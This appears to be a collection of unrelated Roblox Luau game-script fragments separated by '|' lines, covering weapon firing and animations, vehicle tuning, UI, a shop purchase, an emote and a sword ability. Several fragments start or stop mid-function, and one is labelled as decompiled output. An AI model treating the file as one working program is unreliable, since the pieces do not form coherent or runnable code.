local ModifiedBulletSpeed = (Direction * BulletData[8]) + MyMovementSpeed --We multiply our direction unit by the bullet speed. This creates a Vector3 version of the bullet's velocity at the given speed. We then add MyMovementSpeed to add our body's motion to the velocity.
--Make a base cosmetic bullet object. This will be cloned every time we fire off a ray
local CosmeticBullet = Instance.new("Part")
CosmeticBullet.Name = "Bullet"
CosmeticBullet.Material = BulletData[14]
CosmeticBullet.Color = BulletData[12]
CosmeticBullet.CanCollide = false
CosmeticBullet.Anchored = true
CosmeticBullet.Size = Vector3.new(BulletData[11].X, BulletData[11].Y, BulletData[11].Z)
CosmeticBullet.Transparency = BulletData[13]
CosmeticBullet.Shape = BulletData[15]
if BulletData[16] then
local BulletMesh = Instance.new("SpecialMesh")
BulletMesh.Scale = Vector3.new(BulletData[19].X, BulletData[19].Y, BulletData[19].Z)
BulletMesh.MeshId = "rbxassetid://"..BulletData[17]
BulletMesh.TextureId = "rbxassetid://"..BulletData[18]
BulletMesh.MeshType = "FileMesh"
BulletMesh.Parent = CosmeticBullet
end
--Prepare a new cosmetic bullet
local Bullet = CosmeticBullet:Clone()
Bullet.CFrame = CFrame.new(FirePointObject.WorldPosition, FirePointObject.WorldPosition + Direction)
Bullet.Parent = workspace.CurrentCamera
if BulletLightData[1] then
local Light = Instance.new("PointLight")
Light.Brightness = BulletLightData[2]
Light.Color = BulletLightData[3]
Light.Enabled = true
Light.Range = BulletLightData[4]
Light.Shadows = BulletLightData[5]
Light.Parent = Bullet
end
if BulletData[1] then
local A0 = Instance.new("Attachment", Bullet)
A0.Position = Vector3.new(BulletData[2].X, BulletData[2].Y, BulletData[2].Z)
A0.Name = "Attachment0"
local A1 = Instance.new("Attachment", Bullet)
A1.Position = Vector3.new(BulletData[3].X, BulletData[3].Y, BulletData[3].Z)
A1.Name = "Attachment1"
local C = BulletData[4]:GetChildren()
for i=1,#C do
if C[i].className == "Trail" then
local count = 1
local Tracer = C[i]:Clone()
Tracer.Attachment0 = A0
Tracer.Attachment1 = A1
Tracer.Parent = Bullet
end
end
end
if BulletData[5] then
local C = BulletData[6]:GetChildren()
for i=1,#C do
if C[i].className == "ParticleEmitter" then
local Particle = C[i]:Clone()
Particle.Parent = Bullet
Particle.Enabled = true
end
end
end
Caster:FireWithBlacklist(FirePointObject.WorldPosition, Direction * BulletData[7], ModifiedBulletSpeed, {Handle, Tool.Parent, workspace.CurrentCamera}, Bullet)
function OnRayHit_Sub(HitPart, HitPoint, Normal, Material, CosmeticBulletObject)
OnRayHit_Sub2(HitPart,
HitPoint,
Normal,
Material,
CosmeticBulletObject,
Tool,
{ExplosiveData[1], ExplosiveData[2], ExplosiveData[3], ExplosiveData[4], ExplosiveData[5], ExplosiveData[6], ExplosiveData[7], ExplosiveData[8], ExplosiveData[9]},
{DamageData[1], DamageData[2], DamageData[3]},
{HitEffectData[1], HitEffectData[2], HitEffectData[3], HitEffectData[4], HitEffectData[5], HitEffectData[6], HitEffectData[7]},
{BulletHoleData[1], BulletHoleData[2], BulletHoleData[3], BulletHoleData[4], BulletHoleData[5], BulletHoleData[6]},
{BloodEffectData[1], BloodEffectData[2], BloodEffectData[3], BloodEffectData[4], BloodEffectData[5], BloodEffectData[6]},
{Misc[1],Misc[2],Misc[3],Misc[4],Misc[5],Misc[6],Misc[7],Misc[8]},
{Critical[1],Critical[2],Critical[3]},
{GoreData[1], GoreData[2], GoreData[3], GoreData[4], GoreData[5]})
end
end
end
function OnRayHit(HitPart, HitPoint, Normal, Material, CosmeticBulletObject)
OnRayHit_Sub(HitPart, HitPoint, Normal, Material, CosmeticBulletObject)
end
function OnRayUpdated(CastOrigin, SegmentOrigin, SegmentDirection, Length, CosmeticBulletObject)
local BulletLength = CosmeticBulletObject.Size.Z / 2 --This is used to move the bullet to the right spot based on a CFrame offset
CosmeticBulletObject.CFrame = CFrame.new(SegmentOrigin, SegmentOrigin + SegmentDirection) * CFrame.new(0, 0, -(Length - BulletLength))
end
BE.Event:connect(VisualizeBullet)
Caster.LengthChanged:Connect(OnRayUpdated)
Caster.RayHit:Connect(OnRayHit)
|
-- me.Parent.CanvasSize = UDim2.new(0,0,0,me.AbsoluteSize.Y)
| |
-- catch new timer times events from server
|
changeTimerEvent.OnClientEvent:Connect((function(timer)
Timer = timer
textBox.Text = timer
end))
|
--[[Mobile Support]]
|
local Buttons = script.Parent:WaitForChild("Buttons")
local Left = Buttons:WaitForChild("Left")
local Right = Buttons:WaitForChild("Right")
local Brake = Buttons:WaitForChild("Brake")
local Gas = Buttons:WaitForChild("Gas")
local Handbrake = Buttons:WaitForChild("Handbrake")
if UserInputService.TouchEnabled then
Buttons.Visible = true
end
local function LeftTurn(Touch, GPE)
if Touch.UserInputState == Enum.UserInputState.Begin then
_GSteerT = -1
_SteerL = true
else
if _SteerR then
_GSteerT = 1
else
_GSteerT = 0
end
_SteerL = false
end
end
Left.InputBegan:Connect(LeftTurn)
Left.InputEnded:Connect(LeftTurn)
|
--Creates a display Gui for the soft shutdown.
|
return function()
local ScreenGui = Instance.new("ScreenGui")
ScreenGui.Name = "SoftShutdownGui"
ScreenGui.DisplayOrder = 100
--Create background to cover behind top bar.
local Frame = Instance.new("Frame")
Frame.BackgroundColor3 = Color3.fromRGB(45, 202, 245)
Frame.Position = UDim2.new(-0.5,0,-0.5,0)
Frame.Size = UDim2.new(2,0,2,0)
Frame.ZIndex = 10
Frame.Parent = ScreenGui
local function CreateTextLabel(Size,Position,Text)
local TextLabel = Instance.new("TextLabel")
TextLabel.BackgroundTransparency = 1
TextLabel.Size = Size
TextLabel.Position = Position
TextLabel.Text = Text
TextLabel.ZIndex = 10
TextLabel.Font = "SourceSansBold"
TextLabel.TextScaled = true
TextLabel.TextColor3 = Color3.new(1,1,1)
TextLabel.TextStrokeColor3 = Color3.new(0,0,0)
TextLabel.TextStrokeTransparency = 0
TextLabel.Parent = Frame
end
--Create text.
CreateTextLabel(UDim2.new(0.5,0,0.1,0),UDim2.new(0.25,0,0.4,0),"ATTENTION")
CreateTextLabel(UDim2.new(0.5,0,0.05,0),UDim2.new(0.25,0,0.475,0),"This server is being updated.")
CreateTextLabel(UDim2.new(0.5,0,0.03,0),UDim2.new(0.25,0,0.55,0),"Please wait...")
--Return the ScreenGui and the background.
return ScreenGui,Frame
end
|
-- ROBLOX upstream: https://github.com/facebook/jest/tree/v27.4.7/packages/jest-util/src/ErrorWithStack.ts
| |
--//Client Animations
|
IdleAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms)
end;
StanceDown = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, 0.45, -1.25) * CFrame.Angles(math.rad(-75), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.1,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.3)
end;
StanceUp = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-1, -.75, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.75,-0.75,-1.35) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play()
wait(0.3)
end;
Patrol = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.8, 0.3, -1.15) * CFrame.Angles(math.rad(-65), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.9,0.4,-0.9) * CFrame.Angles(math.rad(-50),math.rad(45),math.rad(-45))}):Play()
wait(0.3)
end;
SprintAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.8, 0.3, -1.15) * CFrame.Angles(math.rad(-65), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.9,0.4,-0.9) * CFrame.Angles(math.rad(-50),math.rad(45),math.rad(-45))}):Play()
wait(0.3)
end;
EquipAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.1)
objs[5].Handle:WaitForChild("AimUp"):Play()
ts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play()
wait(0.5)
end;
ZoomAnim = function(char, speed, objs)
--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()
ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play()
wait(0.3)
end;
UnZoomAnim = function(char, speed, objs)
--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()
ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play()
wait(0.3)
end;
ChamberAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(0.25,0.15,-1.35) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play()
wait(0.35)
objs[5].Bolt:WaitForChild("SlidePull"):Play()
ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(0.15,-0.1,-1.15) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
wait(0.3)
objs[5].Bolt:WaitForChild("SlideRelease"):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
end;
ChamberBKAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.55,0.05,-1.5) * CFrame.Angles(math.rad(-120),math.rad(20),math.rad(0))}):Play()
wait(0.3)
objs[5].Bolt:WaitForChild("SlideRelease"):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
wait(0.15)
end;
CheckAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0.5, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(.35)
local MagC = objs[5]:WaitForChild("Mag"):clone()
objs[5].Mag.Transparency = 1
MagC.Parent = objs[5]
MagC.Name = "MagC"
MagC.Transparency = 0
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame)
ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(.3, -0.2, .85) * CFrame.Angles(math.rad(0), math.rad(90), math.rad(90))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagOut"):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play()
wait(1.5)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagIn"):Play()
MagC:Destroy()
objs[5].Mag.Transparency = 0
wait(0.3)
end;
ShellInsertAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
wait(0.3)
objs[5].Handle:WaitForChild("ShellInsert"):Play()
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
objs[6].Value = objs[6].Value - 1
objs[7].Value = objs[7].Value + 1
wait(0.3)
end;
ReloadAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(30))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.35,-0.95,-1.45) * CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play()
wait(0.3)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play()
local MagC = objs[5]:WaitForChild("Mag"):clone()
objs[5].Mag.Transparency = 1
MagC.Parent = objs[5]
MagC.Name = "MagC"
MagC.Transparency = 0
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[5].Mag.CFrame)
objs[5].Handle:WaitForChild("MagOut"):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play()
wait(0.75)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play()
wait(0.3)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(30))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.35,-0.95,-1.45) * CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play()
objs[5].Handle:WaitForChild("MagIn"):Play()
MagC:Destroy()
objs[5].Mag.Transparency = 0
if (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then
objs[7].Value = objs[7].Value + objs[6].Value
objs[6].Value = 0
--Evt.Recarregar:FireServer(objs[5].Value)
elseif objs[7].Value <= 0 then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
--Evt.Recarregar:FireServer(objs[5].Value)
objs[7].Value = objs[8].Ammo
objs[9] = false
elseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1
--objs[10].Recarregar:FireServer(objs[6].Value)
objs[7].Value = objs[8].Ammo + 1
elseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
--Evt.Recarregar:FireServer(objs[5].Value)
objs[7].Value = objs[8].Ammo
end
wait(0.55)
end;
|
-- Define some values
|
Players = game:GetService('Players')
Player = Players.LocalPlayer
Backpack = Player:FindFirstChildOfClass('Backpack')
UiFrame = script.Parent.UiFrame
SlotsFolder = script.Parent.Slots
if not Player.Character then -- Ensure the charater has loaded
Player.CharacterAdded:Wait()
end
Char = Player.Character
|
--Weld stuff here
|
MakeWeld(misc.Shifter2.MeshPart,misc.Shifter2.Main)
MakeWeld(misc.Shifter2.MainBase,misc.Shifter2.Main)
MakeWeld(misc.Shifter2.SN2,misc.Shifter2.Main)
MakeWeld(misc.Shifter.SN,misc.Shifter.Main)
MakeWeld(car.Body.SHIFTHinge,misc.Shifter.SN,"Motor",.03)
MakeWeld(misc.Shifter.Main,misc.Shifter2.SN2)
car.DriveSeat.ChildAdded:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0)
end
end)
|
-- Decompiled with the Synapse X Luau decompiler.
|
local l__LocalPlayer__1 = game.Players.LocalPlayer;
local l__Humanoid__2 = (l__LocalPlayer__1.Character or l__LocalPlayer__1.CharacterAdded:Wait()):WaitForChild("Humanoid", 10);
local u1 = true;
local u2 = l__Humanoid__2:LoadAnimation(script:FindFirstChild("Emote"));
script.Parent.MouseButton1Click:connect(function()
if u1 == true then
l__Humanoid__2.JumpPower = 50;
l__Humanoid__2.WalkSpeed = 16;
u1 = false;
u2:Play();
wait(1.5 + u2.Length);
l__Humanoid__2.JumpPower = 50;
l__Humanoid__2.WalkSpeed = 16;
u1 = true;
end;
end);
l__Humanoid__2:GetPropertyChangedSignal("MoveDirection"):Connect(function()
if l__Humanoid__2.MoveDirection.Magnitude > 0 then
wait(0.1);
u2:Stop();
u1 = true;
end;
end);
|
--// bolekinds
|
local plr = script.Parent.Parent.Parent.Parent.Parent.Parent.Parent
script.Parent.MouseButton1Click:Connect(function()
if plr.YouCash.Value >= 1000 and game.ServerStorage.ServerData.AutoClicker.Value == false then
script.Parent.Parent.Parent.Ching:Play()
plr.YouCash.Value -= 1000
game.ServerStorage.ServerData.AutoClicker.Value = true
end
end)
|
-- Make the object appear when the ProximityPrompt is used
|
local function onPromptTriggered()
if object then
Prox.Enabled = false
object.Parent = game.ServerStorage
game.StarterGui.ScreenGui.Enabled = true
wait(2)
game.StarterGui.ScreenGui.TextLabel.Visible = false
end
end
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 380 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 4.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--Made by Luckymaxer
|
Tool = script.Parent
Main = Tool:WaitForChild("Main")
FX = Main:WaitForChild("FX")
Handle = Tool:WaitForChild("Handle")
Light = Handle:WaitForChild("Light")
Recoil = script:WaitForChild("Recoil")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
CastLaser = Tool:WaitForChild("CastLaser"):Clone()
Modules = Tool:WaitForChild("Modules")
Functions = require(Modules:WaitForChild("Functions"))
BaseUrl = "http://www.roblox.com/asset/?id="
ConfigurationBin = Tool:WaitForChild("Configuration")
Configuration = {}
Configuration = Functions.CreateConfiguration(ConfigurationBin, Configuration)
ToolEquipped = false
Remotes = Tool:WaitForChild("Remotes")
Sounds = {
Fire = Handle:WaitForChild("Fire"),
HeadShot = Handle:WaitForChild("HeadShot"),
}
BasePart = Instance.new("Part")
BasePart.Shape = Enum.PartType.Block
BasePart.Material = Enum.Material.Plastic
BasePart.TopSurface = Enum.SurfaceType.Smooth
BasePart.BottomSurface = Enum.SurfaceType.Smooth
BasePart.FormFactor = Enum.FormFactor.Custom
BasePart.Size = Vector3.new(0.2, 0.2, 0.2)
BasePart.CanCollide = true
BasePart.Locked = true
BasePart.Anchored = false
BaseRay = BasePart:Clone()
BaseRay.Name = "Ray"
BaseRay.BrickColor = BrickColor.new("Lime green")
BaseRay.Material = Enum.Material.SmoothPlastic
BaseRay.Size = Vector3.new(0.2, 0.2, 0.2)
BaseRay.Anchored = true
BaseRay.CanCollide = false
|
--[[local SwordMesh = Handle:WaitForChild("SwordMesh")
SwordMesh.VertexColor = Vector3.new(1,1,1) -- Keep it normal]]
|
local Properties = {
Damage = 8,
Special = true,
SpecialReload = 30,
SpecialActive = false,
TimetoChange = 12,
LightTeleport = true
}
local Sounds = {
Lunge = Handle:WaitForChild("Lunge"),
Unsheath = Handle:WaitForChild("Unsheath")
}
local Remote = Tool:FindFirstChildOfClass("RemoteEvent") or Create("RemoteEvent"){
Name = "Remote",
Parent = Tool
}
local MousePos = Tool:FindFirstChildOfClass("RemoteFunction") or Create("RemoteFunction"){
Name = "MouseInput",
Parent = Tool
}
local function SunIsVisible(Character)
local dir = Services.Lighting:GetSunDirection()
if Vector3.new(0,1,0):Dot(dir) > 0 then
-- BUG: particles block raycast
local hit = workspace:FindPartOnRay(Ray.new(Handle.Position,dir*999),Character)
if not hit or (hit and not hit.CanCollide)then
return true
end
end
return false
end
function IsInTable(Table,Value)
for _,v in pairs(Table) do
if v == Value then
return true
end
end
return false
end
local function Wait(para) -- bypasses the latency
local Initial = tick()
repeat
Services.RunService.Stepped:Wait()
until tick()-Initial >= para
end
function IsTeamMate(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Services.Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
local function EnableParticles(Verdict)
for _,stuff in pairs(Handle:GetDescendants()) do
if (stuff:IsA("ParticleEmitter") and stuff.Parent ~= Handle) or stuff:IsA("Light") then
stuff.Enabled = Verdict
end
if stuff:IsA("Light") then
stuff.Range = (Verdict and 10) or 3
end
end
end
local function SpecialParticles(Verdict)
for _,stuff in pairs(Handle:GetDescendants()) do
if stuff:IsA("ParticleEmitter") and stuff.Parent == Handle then
stuff.Enabled = Verdict
end
if stuff:IsA("Beam") then
stuff.TextureSpeed = (Verdict and 1) or .1
stuff.Color = (Verdict and ColorSequence.new(Color3.new(1,1,1)) or ColorSequence.new(Color3.new(.5,.5,.5)))
end
end
end
local Player,Character,Humanoid,Root
function PassiveSpecial()
--Sword of light does healing + Damage resistance when the sun is out
--Check if Daytime then roll with ability
--loop until time is not daytime
if not Humanoid or Humanoid.Health <= 0 or not Character then return end
if not SunIsVisible(Character) then
--print("Sun is not visible")
EnableParticles(false)
Properties.SpecialActive = false
if Humanoid and Tool:IsDescendantOf(Character) then
Humanoid.WalkSpeed = 16
Properties.Damage = 14
end
--[[Disable particles on sword]]
return
end
if Humanoid and Tool:IsDescendantOf(Character) then
Humanoid.WalkSpeed = 25
Properties.Damage = 20
end
--Trigger active particles on sword
if not Character:FindFirstChild(script:WaitForChild("SoLDefense").Name) and Tool:IsDescendantOf(Character) then
local DefenseScript = script:WaitForChild("SoLDefense"):Clone()
local ToolRef = Create("ObjectValue"){
Name = "ToolRef",
Value = Tool,
Parent = DefenseScript
}
DefenseScript.Parent = Character
DefenseScript.Disabled = false
end
if Properties.SpecialActive then --[[print("On Cooldown")]] return end
--SwordMesh.VertexColor = Vector3.new(1,1,1) * 10 -- Make the sword look all bright
Properties.SpecialActive = true
EnableParticles(true)
end
local Animations = {}
function ChangeTime(Time) --initiate the cool time-chaning effect!
if not Properties.Special then return end
--warn("Changing Time")
Properties.Special = false
SpecialParticles(false)
Tool.Enabled = false
Humanoid.WalkSpeed = 0
Animations.Summon:Play()
delay(3,function()
PassiveSpecial()
Tool.Enabled = true
Animations.Summon:Stop()
--Humanoid.WalkSpeed = (Humanoid.WalkSpeed <=0 and 16) or Humanoid.WalkSpeed
end)
delay(Properties.SpecialReload,function()
Properties.Special = true
SpecialParticles(true)
end)
local TimeChange = script:WaitForChild("TimeChange"):Clone()
local SpawnPosition = Create("Vector3Value"){
Name = "SpawnPosition",
Value = Root.Position - Vector3.new(0,Root.Size.Y * 1.5,0),
Parent = TimeChange,
}
local Creator = Create("ObjectValue"){
Name = "Creator",
Value = Player,
Parent = TimeChange
}
local Time = Create("NumberValue"){
Name = "Time",
Value = Time,
Parent = TimeChange
}
TimeChange.Parent = Services.ServerScriptService
TimeChange.Disabled = false
end
local function LightTransport()
local LightWarpScript = script:WaitForChild("LightWarp")
local function IsWarping()
local stuff = Services.ServerScriptService:GetChildren()
for i=1,#stuff do
if stuff[i] and stuff[i].Name == LightWarpScript.Name and stuff[i]:FindFirstChild("Character") and stuff[i]:FindFirstChild("Character").Value == Character then
return true
end
end
return false
end
if IsWarping() then return end
local sucess,MousePosition = pcall(function() return MousePos:InvokeClient(Player) end)
MousePosition = (sucess and MousePosition) or Vector3.new(0,0,0)
LightWarpScript = LightWarpScript:Clone()
local CharacterTag = Create("ObjectValue"){
Name = "Character",
Value = Character,
Parent = LightWarpScript
}
local TargetLocation = Create("Vector3Value"){
Name = "TargetLocation",
Value = MousePosition,
Parent = LightWarpScript
}
local Range = Create("NumberValue"){
Name = "Range",
Value = (Properties.SpecialActive and 200) or 100,
Parent = LightWarpScript
}
LightWarpScript.Parent = Services.ServerScriptService
LightWarpScript.Disabled = false
end
local EquippedEvents = {}
local Touch
local MouseHeld = false
local CurrentMotor,RightWeld,Part0,Part1
function Equipped()
Character = Tool.Parent
Player = Services.Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChildOfClass("Humanoid")
Root = Character:WaitForChild("HumanoidRootPart")
if not Humanoid or Humanoid.Health <= 0 then return end
Animations = Tool:WaitForChild("Animations"):WaitForChild(Humanoid.RigType.Name)
Animations = {
Slash = Humanoid:LoadAnimation(Animations:WaitForChild("SlashAnim")),
Stab = Humanoid:LoadAnimation(Animations:WaitForChild("StabAnim")),
Summon = Humanoid:LoadAnimation(Animations:WaitForChild("SummonAnim")),
Charge = Humanoid:LoadAnimation(Animations:WaitForChild("ChargeAnim")),
}
Touch = Handle.Touched:Connect(function(hit)
